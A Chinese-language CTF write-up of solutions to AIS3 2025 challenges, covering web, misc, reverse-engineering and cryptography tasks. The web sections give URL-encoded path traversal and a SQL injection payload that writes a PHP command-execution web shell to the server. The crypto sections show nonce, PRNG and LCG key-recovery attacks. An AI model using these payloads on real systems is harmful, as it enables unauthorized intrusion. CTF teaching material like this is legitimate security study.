2025 AIS3 WriteUp

白龍 Lv4
  2025-05-26 09:17:44 2025-05-26 09:17:44 撰寫   2025-07-29 01:52:45 2025-07-29 01:52:45 更新    6.1k 字數  

Hi 我這次叫黑客龍

intro

所以呢這次是我第一次接觸實際的CTF比賽，前前後後準備了有一兩個月，因為本生就讀網路所以對這些觀念有一定的基礎，我們來看看我們解了哪些題目吧

網頁連結：https://s.fury.tw/lurx2
密碼：notpublicyet

題目!

我的戰績

Web
✅ Tomorin db
✅ Login Screen 1
✅ Login Screen 2

Pwn
❌ I DID’T DO ANY OF THIS

Misc
✅ Ramen CTF
✅ Tiny Server - Web/Misc
✅ Welcome

Reverse
✅ web flag checker

Crypto
✅ SlowECDSA ask
✅ Stream ask
✅ Hill ask
✅ Random_RSA ask

總分：1473

所有檔案的密碼

你真的學資安再來給你看，所以如果有遇到可以查看檔案的密碼請自己解，提示這題是RSA基本觀念

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Cryptodome.Util.number import long_to_bytes, bytes_to_long

n = 7375761088143727
e = 65537 

def encrypt(message):
    """Encrypt a message using RSA."""
    m = bytes_to_long(message.encode())
    c = pow(m, e, n)
    return c

msg = "8ChrPass"
encodes = "Code"

for i in range(0, len(msg), 4):
    getmsg = msg[i:i+4]
    encodes += ":" + str(encrypt(getmsg))

ansstr = ""
print("Encrypted message:", encodes)
1
Encrypted message: Code:6027548409712015:2217296476228550

廢話不多說開始吧

Tomorin db

題目是如果你直接點flag或訪問flag你會直接被重新導向，那要如何避免呢，沒錯就是簡單的../，但是這樣會發現沒有效果(被省刪除)，所以就要用 url encode，所以最終答案就是

1
http://ais3.ctf/..%2Fflag
Login Screen - 1

這題不要被那堆php給迷惑了，反而黑盒去找比較好解，雖然我這樣說但是我還是用看code的方式解出，因為你看他的docker-compose是這樣的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
services:
  cms:
    build: ./cms
    ports:
      - "36368:80"
    volumes:
      - ./cms/html/2fa.php:/var/www/html/2fa.php:ro
      - ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
      - ./cms/html/index.php:/var/www/html/index.php:ro
      - ./cms/html/init.php:/var/www/html/init.php:ro
      - ./cms/html/logout.php:/var/www/html/logout.php:ro
      - ./cms/html/users.db:/var/www/html/users.db:ro
      - ./cms/html/styles.css:/var/www/html/styles.css:ro
    environment:
      - FLAG1=AIS3{1.This_is_the_first_test_flag}
      - FLAG2=AIS3{2.This_is_the_second_test_flag}

可以看到 users.db 跟網頁是同一個資料夾，所以為什麼不直接訪問呢，所以就連線

1
http://ais3.ctf/users.db

然後你就可以拿到檔案讀 admin 的2fa code了

Login Screen - 2

有了我在 Login Screen - 1 的折磨，我注意到在 2fa.php 中有一行

1
$result = $db->exec("SELECT * FROM users WHERE username = '$username'");

重點是他使用的是exec，代表可以直接execute database改檔案內容，但是結果是不行因為這是一個 readonly database

既然這樣要怎麼辦呢，既然不能編輯這個database那就不要編輯他創建一個吧，所以我們先來創建一個database

1
ATTACH DATABASE '/var/www/html/MyDragonHouse.php' AS shell

好欸這樣有DB後那就乾脆再寫一個RCE吧

1
2
CREATE TABLE shell.pwn (data TEXT)
INSERT INTO shell.pwn (data) VALUES ('<?php system($_GET["cmd"]); ?>')

因為 exec funciton 可以用 ; 來分開輸入指令，所以我們的最終指令長這樣

1
guest';ATTACH DATABASE '/var/www/html/MyDragonHouse.php' AS shell;CREATE TABLE shell.pwn (data TEXT);INSERT INTO shell.pwn (data) VALUES ('<?php system($_GET["cmd"]); ?>') --

然後呢再根據第一題的做法訪問 http://ais3.ctf/shell.php?cmd=echo $FLAG2 就可以列印出FLAG了，有興趣還可以創建一些資料夾，像我就很皮的留了一些資料在上面，不過可惜被洗掉了QQ

Ramen CTF

這題真的是…亨我還以為是甚麼高級的題目

解法也很簡單只要掃一下QRcode然後再google一下店家名稱就可以了，順帶一提Qrcode裡面有附他吃的拉麵名稱

Tiny Server - Web/Misc

這題其實和 Tomorin db 基本上很像，一般的 ../ 沒辦法直接跳出當前資料夾然後列印出內容，所以一樣是需要 URL encode 成 ..%2F，然後根據題目說flag位置在 root 資料夾下，所以就直接慢慢找到 root 然後再把檔案內容列出來就可以了

Welcome

這題真的非常難，首先你會發現不能複製，所以你需要

  1. 截圖把東西傳到chatGPT
  2. 然後進行Base64 Encode
  3. 然後再較chatgpt decode
  4. 然後再把decode的內容滑鼠選起來
  5. 然後右鍵複製
  6. 好我掰不下去了
Web Flag Checker

簡單介紹一下 wasm 是甚麼，wasm 的全名叫做 WebAssembly，主要功能是把 C / C++ / Rust 等低階語言轉換成網頁可讀的二進位檔案格式，這樣可以增加網頁的運行速度

而這個題目的主題就是叫我們逆向解出這個 wasm 檔案是如何檢查Flag的，然後我們就可以拿到 flag 了，我們先來看看題目給的 code 吧

# 小心可能會卡網頁，剛看他吃了1G ram

進入題目後我最先做的事情就是先找找看有沒有甚麼關於flag或是AIS3的字眼，於是 Ctrl+F 後我發現了一個叫做 flagchecker 的 function，並且他指向 $func9 於是我就來好好研究了一下
但是因為其實我之前也只接觸過一點 wasm 所以我去參考了這個文檔 寫的語法介紹稍微略懂了一點

但是讀文檔讀到後面真的讀不下去了，所以我就找到了一個專門分析 WebAssmebly 的 Ghidra 插件，在經過插件分析後我找到了剛剛提到的 flagchecker function，看到反向編譯好的程式碼發現其實就是把使用者輸入的 flag 分成五段 8 byte 然後進行移位，移位後經過神奇的計算後再把他的數值跟程式碼中的「檢察數值」做比較，所以我們的目標就是逆向這個部分

# Ghidra 逆向分析

東問西問後就把程式碼寫出來了

這個程式碼主要的邏輯就是在迴圈中計算位移的量( (key >>> (i * 6)) & 63 )，然後計算兩種位移再把兩種位移做OR運算在跟Mask ( (BigInt(1) << BigInt(64)) - BigInt(1) ) 做 AND 運算最後再跟 255 做一次AND運算，然後就可以轉成 Ascii code 了

過程其實還有很多細節，不過這邊口述太複雜所以有興趣的就去看Code吧

SlowECDSA

從題目中就可以知道這是一提 ECSDA 的簽名算法，但是題目中不同的是題目提供了a 和 c 數值 (常見組合 )，同時最嚴重的是他提供 lcg.next() 的 function 初始化的 k 值是 seed ，所以駭客獲得連續的 k 值然後再反向計算出 seed 是多少，但是目前都只是理論上那實際怎麼做呢

觀察題目可以發現 r, s 是在 sign function 中經由一系列的計算後得知的

  • r : 根據 NIST192p 取線上生成的x座標乘以k值 mod order
  • s : 計算 k 的 d 值乘以加密訊息加上剛剛計算好的 r 值乘上私鑰 mod order
    1
    2
    3
    4
    5
    6
    7
    def sign(msg: bytes):
        h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
        k = lcg.next()
        R = k * curve.generator
        r = R.x() % order
        s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
        return r, s

接下來因為LGC生成參數是已知數並且我們也知道 curve 是以 NIST192p 為標準所以我們可以知道連續的 k 輸出關係為

  • kₙ₊₁ = (a × kₙ + c) mod n

同時根據程式碼我們知道

  • s = k⁻¹ × (h + r × d) mod n = k = (h + r × d) × s⁻¹ mod n

所以當我們有兩個連續性的 k 值就會變成

  • k₁ = (h + r₁ × d) × s₁⁻¹ mod n
  • k₂ = (h + r₂ × d) × s₂⁻¹ mod n

接著再結合 k LGC 的連續輸出關西就會變成

  • (h + r₂ × d) × s₂⁻¹ mod n = ( a ×[(h + r₁ × d) × s₁⁻¹ mod n] + c ) mod n
    可以再把 Mod 移除簡化成
    (h + r₂ × d) × s₂⁻¹ = a × (h + r₁ × d) × s₁⁻¹ + c

然後再把這個公式展開會變成

  • h × s₂⁻¹ + r₂ × d × s₂⁻¹ = a × h × s₁⁻¹ + a × s₁⁻¹ × r₁ × d + c
    然後因為要計算 d 所以把 d 移動到一邊簡化會變成
    r₂ × d × s₂⁻¹ - a × r₁ × d × s₁⁻¹ = a × h × s₁⁻¹ + c - h × s₂⁻¹
    然後高中數學
    d × (r₂ × s₂⁻¹ - a × r₁ × s₁⁻¹) = a × h × s₁⁻¹ + c - h × s₂⁻¹
    最後
    d = (a × h × s₁⁻¹ + c - h × s₂⁻¹) × (r₂ × s₂⁻¹ - a × r₁ × s₁⁻¹)⁻¹ mod n

在程式碼中是這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# NIST P-192
'''
order = 6277101735386680763835789423207666416102355444465032267104602349
x = 0x188da80ebb30e5a3191d00c1f7ff60c93db7a6c14f50b75b2decb24e7b7c20e9
y = 0x0712e4af1c2a8e2a52f72a6f9d9c7b7b7550b46cd0f3c9147e39a818c6f5b6b6
info from https://neuromancer.sk/std/nist/P-192
'''

a = 1103515245
c = 12345
n = order
h = int.from_bytes(hashlib.sha1("get_example").digest(), 'big') % n

d = (a * h * pow(s1, -1, n) + c - h * pow(s2, -1, n)) * pow(r2 * pow(s2, -1, n) - a * r1 * pow(s1, -1, n), -1, n) % n

這樣子我們就得到一個可以反向計算出 d 的程式碼了

既然私鑰有了我們就可以自由加密訊息了，剩下的部分就是要計算出第三次 k 的值但這也很簡單，還記得 s = k⁻¹ × (h × r × d)) % n 嗎，因為我們現在知道 d 是多少了所以也可以變成 k = s⁻¹ × (h × r × d)) % n，接著再根據 k 的生成規則 kₙ₊₁ = (a × kₙ + c) mod n 這樣只要計算出 s₂ 的 k 值就可以計算出 k₃ 的值了

剩餘的就不多說了只要手動獲取連續兩個加密過的 get_example 訊息後把兩者返回的 r s 值丟入公式中就可以獲取私鑰值，然後再直接複製題目的 sign function 稍微手動設定 private key 和 k 的數值就可以計算出對應的 r 和 s 了

Stream

你知道嗎，我最討厭這種看起來很簡單但是實際做起來卻很難的題目了笑死

emo 的地方就不多說了，所以我第一眼看到這題我的感覺是欸 random 然後給這麼多數值那十之八九就是要 random crack 了，但是要怎麼回推的

我們先看到題目的 hexor function，有一個要注意的小細節在 python 中會先優先處理 ** 在處理 XOR，所以整理過後就可以知道長的是這樣子 HEX = random XOR randome²

哇出現了兩個 randome 怎麼辦，不用擔心再觀察一下就會發現下面的 sha512(os.urandom(True))) 因為是 True 的關西所以 Sha512 hash 值變化也只有 256 種，但是你可能問這樣還是不知道是 256 中的哪一個

沒錯所以我們可以看到 b² 的部分在聯想到一開始 HEX = random XOR randome² 的公式可以總結出

  • HEX 值必定等於 256種hash 與 b的平方值 進行互斥或運算

這樣因為 256 對於電腦是個很小的計算輛，所以只要 hash 值是錯誤的算出來的 b 開根號就不會是整數也就不會是正確的

所以邏輯有了就把它實做出來吧

1
2
3
4
for i in range(256):
	osrand = sha512(i.to_bytes(1, 'big')).digest()
    linenum = int(l, 16)
    xor = int.from_bytes(osrand, 'big')^linenum

XOR 換算

剛可能沒提到，XOR運算可以這樣

  • A XOR B = C
  • C XOR A = B
  • C XOR B = A
證明

10 ^ 5 = 1010 ^ 0101 = 1111 = 15
15 = 15 ^ 10 = 1111 ^ 1010 = 0101 = 5
15 = 15 ^ 5 = 1111 ^ 0101 = 1010 = 10

所以現在我們已經得到一個一長串 getrandbit 生成出來的數字了，接下來就是要去預測下一個會生成的值是甚麼，因此我們使用 RandCrack 來預測會生成出來的值，不過這邊有幾個問題要解決

  1. 我們需要至少624種連續參數來破解，但是好像只有80個 ?
  2. 需要32bit的資料，但是我們是 256 bit ?

好啦我在講廢話其實不就把 256 拆成 8 組 32 bit 不就解決了，這樣我們是 32 bit 的資料 同時也有 80 x 8 組資料，這樣問題就完美解決了

但接下來的困難是我們要如何拆解呢，經過翻閱 getrandombit 的生成文檔案後發現其實 getrandombit 本質就是把多組 32 bit 的隨機數組合成一個 256 bit 的隨機數，生成函數是

1
2
3
result = 0
for i in range(8):
    result = result | getrandbits(32) << (32 * i)

所以這串code在幹嘛

用比較簡單的方式說就是因為 getrandbits 一次最多只能生成 32bit 的隨機數值，因此如果要生成大於這個的數值就會在 2 進位中把他組合起來，看不懂吧所以我演示一次

假設一次只能生成 4 bit ，我要生成 16 bit 的過程就是

  1. 預設變數 ans
  2. ans = 生成第一組 1010
  3. 把生成第二組往左移 4 x 1
    第二組：0101
    左移後：0101 0000
  4. 與 ans 組合起來變成 0101 1010
    01010000 OR 1010 = 01011010
  5. 把生成第三組往左移 4 x 2
    第三組：1110
    左移後：1110 0000 0000
  6. 與ans組和起來變成 1110 0101 1010
    111000000000 OR 01011010 = 1111001011010
  7. 把生成第四組往左移 4 x 3
    第二組：1000
    左移後：1000 0000 0000 0000
  8. 與ans組和起來變成 1000 1110 0101 1010
    1000000000000000 OR 1111001011010 = 10001111001011010
  9. 轉換回 10 進位 變成 73306

這樣你懂我再說甚麼了吧

那現在我們就是要來回推這每組 32bit 是如何生成出來的，根據上面一般 random的生成方式我們可以用以下程式逆向回推出生成的過程

1
2
3
4
5
arr = []
a = {targetNum}
for i in range(8):
    arr.append(a & 0xFFFFFFFF)
    a = a >> 32

那接著我們終於可以回到 RandCrack 了，根據官方說明我們只要丟入連續 624 組就可以預測下一個random的值了，因此我們先使用 crack.submit(rand[i]) 丟入數據後就可以直接生產下一個值了嗎…?

錯還記得我們的總共有的數據是 256 / 32 * 8 嗎，這樣我們種共有 640 組，而在 crack.submit 後出來的會是這 624 組後面的 random 值，因此我們還要再產生 16 組 32bit 的值後下一個才會是答案。

小技巧

這邊有一個小技巧，因為我們知道反正都是依照大小去生成 random bit ，所以乾脆直接生成一個 16 * 8 的 random bit 就可以了

終於到了最後環節了，接下來我們只要生成一 256 bit 的數字再依照 hexor function 的公式反推成 flagbit = hexorFlagVaule XOR crackRandom256Bit² 就可以反推出原始的 flagbit 值是多少了

最後在

1
orgbyte = flagbit.to_bytes((flagbit.bit_length() + 7) // 8, 'big')

就有答案了

Random_RSA

題目有給 output 那我們就先看一下吧，一開始我注意到了三組 h，所以這三個必定有某些特殊的關西，然後我們也看到了有給 m 和最基本的 n, c, e 值。

接著我們看到程式碼，可以發現我最不熟悉的 rng = lambda x: (a*x + b) % m LCG 線性生成，接著我就注意到了之前看到的 h 值，並看到沒錯他是連續輸出，經過一點思考後發現應該是可以反向解出 a 和 b 值的，如果你在想 seed 呢，那就算了吧因為 seed 已經重新生成過算處來也沒甚麼作用，總之我們來破解 LGC 吧

所以一開始就是來列公式找關西，因為 hₙ₊₁ 都是使用 hₙ 值來推算的，所以我們可以列出

  • h₀ = ( a × seed + b ) mod m
  • h₁ = ( a × h₁ + b ) mod m
  • h₂ = ( a × h₂ + b ) mod m

公式列好後會發現未知數就是 a 和 b，那我們就來嘗試找找看他吧但是要怎麼開始呢，因為題目有兩個未知數這樣是無法算的，所以我們要先消掉一個未知數，你選甚麼消呢反正我是選 b 啦因為她只有加減法，你想要選 a 應該也是可以啦不過會比較複雜，既然選好了我們來嘗試消除它吧

  1. 選好兩個公式做計算
    h₀ = ( a × seed + b ) mod m
    h₁ = ( a × h₀ + b ) mod m

  2. 因為我們要消除所以我們就來相減吧，列公式搂
    h₁ - h₀ =
    ( a × h₀ + b ) mod m - ( a × seed + b ) mod m =
    (( a × h₀ + b ) - ( a × seed + b )) mod m
    把括號去除
    (( a × h₀ + b ) - ( a × seed + b )) mod m =
    ( a × h₀ + b - a × seed - b ) mod m =
    ( a × h₀ - a × seed) mod m

  3. 哇發現還是有兩個未知數，沒關西這個公式我們先留著，來看看h₂ - h₁會發生甚麼
    h₂ - h₁ =
    ( a × h₁ + b ) mod m - ( a × h₀ + b ) mod m =
    (( a × h₁ + b ) - ( a × h₀ + b )) mod m
    把括號去除
    ( a × h₁ + b - a × h₀ - b ) mod m =
    ( a × h₁ - a × h₀) mod m
    用這個好像叫做分配律的
    ( a ( h₁ - h₀)) mod m =
    我們重新整理一下會變成
    h₂ - h₁ = a × ( h₁ - h₀) mod m =>
    因為 mod 本質就是限制數字在範圍內，所以也可以給 h₂ - h₁ 加上 mod 然後進行 mod 運算
    (h₂ - h₁) mod m = a × ( h₁ - h₀) mod m =>
    a × (h₂ - h₁) mod m = ( h₁ - h₀) mod m =>
    在移動一下後會變成
    a = (h₂ - h₁) mod m / ( h₁ - h₀) mod m
    最後簡化
    a = [ (h₂ - h₁) / ( h₁ - h₀)] mod m
    到這裡以為要結束了嗎，當然不是因為我忘記說在 mod 的世界中只要是有進行除法的動作都一定會變成乘以modinverse的數字，因此我們其實要把 ( h₁ - h₀) 乘以 modinverse(h₂ - h₁) 值，所以最終的結果會是
    a = ( h₂ - h₁) × (h₁ - h₀)⁻¹ mod m

  4. 既然算出來 a 了算 b 就不是甚麼困難的事情了，只要反向推回去就可以算出 b 了，開始吧
    我們現在隨便選 h₂ 或 h₁ 數值都可以計算出 b，因為我們知道兩者都是hₙ₊₁ = (a × hₙ + b) mod m，所以我就選 h2 來計算，列公式
    h₂ = (a × h₁ + b) mod m =
    (h₂) mod m = (a × h₁ + b) mod m =
    注意喔在 mod 世界只要共通減掉一數值你 mod 出來的值就還是會相等的，所以這邊不是邏輯移動 (a × h₁) 到另外一邊，而是共通減少 (a × h₁)，請不要誤會，所以結果會變成
    ( - ( a × h₁ ) + h₂) mod m = (b) mod m =>
    (h₂ - a × h₁) mod m = (b) mod m =>
    因為共同 mod 所以可以拿掉 mod
    h₂ - a × h₁ = b

既然現在我們已經算出來 a 和 b 的值了，現在就來了解一下到底要如何解出flag

在基礎的 RSA 中我們都知道 n 是 q 和 p 的相乘，也知道必需要拿到 d 值才能反向計算出原文，我們也知道 d 值等於 e 反 mod ( p - 1 ) × ( q - 1 ) 並且目前我們也有 e 值

但是哪裡找到 p 和 q 值呢，往上看可能可以發現是使用 genPrime 函數產生，但是經過推倒後會發現我們需要 seed 因為 LCG 生產出來的數字不一定是值數，所以 genPrime 函數就會一直生產直到生產出有效的質數

既然這樣我們要怎麼獲取 q 和 p 的，因為我們現在有兩個困難

  1. 第一個是我們不知道 seed
  2. 我們不知道 LCG 找多少後才會有下一組質數

這時候我們遺漏了一個重要的線索就是 n，因為我們發現其實 n 就是 q * p 這是廢話，但是重要的是 p 是 q 的 seed，正因為這樣我們可以知道

  • q = (a * p + b) mod m

但是這個公式是錯誤的為什麼，因為我們不知道LCG生產了多少次才找到 q，因此我們要加入一個生成次數的參數，那這個公式是甚麼我們來慢慢推導

  • 我們先來列出連續生成四次會長甚麼樣子好了

    1. x1 = (a*x + b)
    2. x2 = (a * (a*x + b) + b) = (a^2*x + a*b + b)
    3. x3 = (a * (a^2*x + a*b + b) + b) = (a^3*x + a^2*b + ab + b)
    4. x4 = (a * (a^3*x + a^2*b + ab + b) + b) = (a^4*x + a^3*b + a^2*b + ab + b)
      可以看到最高次方一定會是 xₙ 的 n，而其餘的則會乘以 b，所以我們簡單化檢一下公式
    • xₙ = a^n*x + b(a^3 + a^2 + a + 1)
      看到 a^3 + a^2 + a + 1) 是等比所以可以在化簡為
    • xₙ = a^n*x + b((a^n - 1)/(a - 1))
      要注意目前為了方便所以把mod移除，把mod加回來後要把除法換成乘以反mod，所以變成
    • xₙ = a^n*x + b * (a^n - 1) * (a - 1)⁻¹

  • 那接下來我們就可以把 q 帶入然後再把 n 帶入
    我們把 q 帶入就會變成

    • q = ( a^n * p + b * (a^n - 1) * (a - 1)⁻¹)
      好欸，現在我們知道完整的 q 和 p 關西了，那不就帶入 n 了，試試吧
      對了這邊我把一開始的 n 表示猜測距離改成 step 才不會與 RSA 中的 n 混濁
    • n = q * p =
    • n = ( a^s * p + b * (a^s - 1) * (a - 1)⁻¹) * p
      然後可以來間單的把展開一下
    • n = a^s * p^2 + b * p * (a^s - 1) * (a - 1)⁻¹

有了這個後我們下一個目標就是要來找到每一個 step 可以使用的 p 值，意思就是說因為我們已知 a, b, n 和 s，所以我們要算的就是 p 值但是 p 值有平方要算，不過到這邊有沒有很耳熟，沒有沒關係那這樣呢

  • 偷改成方程式後
    a^s * p^2 + b * p * (a^s - 1) * (a - 1)⁻¹ - n
    還沒有，那這樣呢
    [a^s] x p² + [b x (a^s - 1) * (a - 1)⁻¹] x p - n
    還是沒有嗎，那只好這樣了
    Ap² + Bp + (-n)
    你完蛋了這是最後線索了給你個比對
    ax² + bx + c

沒錯我們回到了國中數學，目標就是來計算 p 在這個 s 中到底有沒有解，因此我們就要用到那痛苦回憶的公式解中的判別式來判斷，像我一樣忘記的回憶一下就是下面這個公式

  • x = -b± √b² - 4ac / 2a
    不要搞錯喔判別式是分子根號中那段喔

所以這樣我們的判別式就會是

  • b² - 4ac => A² - 4B(-n) = A² + 4Bn =>
  • (b x (a^s - 1) * (a - 1)⁻¹)² + 4n(a^s)

接下來因為判別式是在一個根號裡，而在mod的世界中計算根號又有他獨特的算法，因此我們要判斷的是在 1 ~ n 的平方 mod n 然後看有沒有會等於 ((a^s)² + 4n(b x (a^s - 1) * (a - 1)⁻¹)) mod n 的，如果有那他就是解

既然我們已經可以能判斷出有效和無效的 p 值了，那下一步就是用公式解把 p 解出來

  • p = -b± √b² - 4ac / 2a
    展開後
  • p = ((√(b x (a^s - 1) * (a - 1)⁻¹)² + 4n(a^s)) - (b x (a^s - 1) * (a - 1)⁻¹)) * (2(a^s))⁻¹
    比較細心的人可能注意到為什麼我把±變成+了，這是因為其實在整個公式中還是在 mod 底下，所以因為 mod 加減法都是對稱的，所以進行一次運算就可以了

剩下的部分就最簡單了 (真的是先苦後甘阿)，我們只要在呼叫一次 genPrime() 把生成出來的 q 值在與 p 相乘，如果結果是 n 那麼我們就找到正確的組合了

剩下的簡單了，計算出 phi = (q - 1) * (p - 1) 然後找一下 phi 的反 mod 就會是 d，最後在把 c 解密就會有 flag 了

Hill

所以我們一開始看題目就可以看到兩個矩陣 A 和 B 然後對他們進行了一個有趣的運算叫做矩陣乘法進行加密，看到題目可以看到，只有第一個資料區塊是進行 C_0 = A * P_0運算，後續資料區塊都是 C_i = A * P_i + B * P_(i-1)，因為這種加密方式就表示他們有線性關西，所以我們可以用輸入資料的方式來破解內容

依據題目我們可以得出第一個區塊是 c₀ = A × m₀ 後續則是 cᵢ = A × mᵢ + B × mᵢ₋₁，這樣我們可以得出因為有題目的 n 有設定陣列大小是 8 x 8，我們有兩組陣列所以總共需要至少 8x8x2 = 128 組數據，16組區塊，但實際上至少要 35 個以上，發送內容是隨機的 33 ~ 120 ascii code

1
2
3
4
5
6
7
rand_iter = (33 + (i * 97) % 90 for i in itertools.count())
```        

接下來我們知道發送出去的數值會依照計算
```python
c = (A @ blocks[i]) % p
c = (A @ blocks[i] + B @ blocks[i-1]) % p

因此我們可以用以下公式反解出來

  • m₀ = A⁻¹ × c₀
  • mᵢ = A⁻¹ × (cᵢ - B × mᵢ₋₁)

最後就可以得到 flag

目錄
2025 AIS3 WriteUp
  1. 1. Hi 我這次叫黑客龍
  2. 2. 題目!